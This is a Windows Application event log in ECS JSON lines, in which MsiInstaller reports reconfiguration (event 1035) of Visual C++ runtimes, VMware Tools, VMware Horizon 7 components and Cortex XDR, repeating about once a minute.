{"@timestamp":1657398730425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170935}}
{"@timestamp":1657398730478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170936}}
{"@timestamp":1657398730519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170937}}
{"@timestamp":1657398730569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170938}}
{"@timestamp":1657398730603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170939}}
{"@timestamp":1657398730633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170940}}
{"@timestamp":1657398730663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170941}}
{"@timestamp":1657398730702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170942}}
{"@timestamp":1657398730732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170943}}
{"@timestamp":1657398790405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170944}}
{"@timestamp":1657398790432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170945}}
{"@timestamp":1657398790481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170946}}
{"@timestamp":1657398790521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170947}}
{"@timestamp":1657398790548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170948}}
{"@timestamp":1657398790580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170949}}
{"@timestamp":1657398790607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170950}}
{"@timestamp":1657398790632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170951}}
{"@timestamp":1657398790667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170952}}
{"@timestamp":1657398790695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170953}}
{"@timestamp":1657398850281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170954}}
{"@timestamp":1657398850308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170955}}
{"@timestamp":1657398850356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170956}}
{"@timestamp":1657398850396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170957}}
{"@timestamp":1657398850423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170958}}
{"@timestamp":1657398850453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170959}}
{"@timestamp":1657398850479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170960}}
{"@timestamp":1657398850504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170961}}
{"@timestamp":1657398850540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170962}}
{"@timestamp":1657398850566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170963}}
{"@timestamp":1657398910490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170964}}
{"@timestamp":1657398910516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170965}}
{"@timestamp":1657398910565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170966}}
{"@timestamp":1657398910605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170967}}
{"@timestamp":1657398910633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170968}}
{"@timestamp":1657398910663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170969}}
{"@timestamp":1657398910690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170970}}
{"@timestamp":1657398910716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170971}}
{"@timestamp":1657398910752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170972}}
{"@timestamp":1657398910780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170973}}
{"@timestamp":1657398970434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170974}}
{"@timestamp":1657398970461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170975}}
{"@timestamp":1657398970510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170976}}
{"@timestamp":1657398970552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170977}}
{"@timestamp":1657398970581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170978}}
{"@timestamp":1657398970612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170979}}
{"@timestamp":1657398970641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170980}}
{"@timestamp":1657398970667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170981}}
{"@timestamp":1657398970704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170982}}
{"@timestamp":1657398970733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170983}}
{"@timestamp":1657399030469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170984}}
{"@timestamp":1657399030494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170985}}
{"@timestamp":1657399030545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170986}}
{"@timestamp":1657399030584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170987}}
{"@timestamp":1657399030613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170988}}
{"@timestamp":1657399030644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170989}}
{"@timestamp":1657399030671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170990}}
{"@timestamp":1657399030701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170991}}
{"@timestamp":1657399030737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170992}}
{"@timestamp":1657399030764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170993}}
{"@timestamp":1657399090301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170994}}
{"@timestamp":1657399090328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170995}}
{"@timestamp":1657399090379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170996}}
{"@timestamp":1657399090418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170997}}
{"@timestamp":1657399090445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170998}}
{"@timestamp":1657399090476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170999}}
{"@timestamp":1657399090504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171000}}
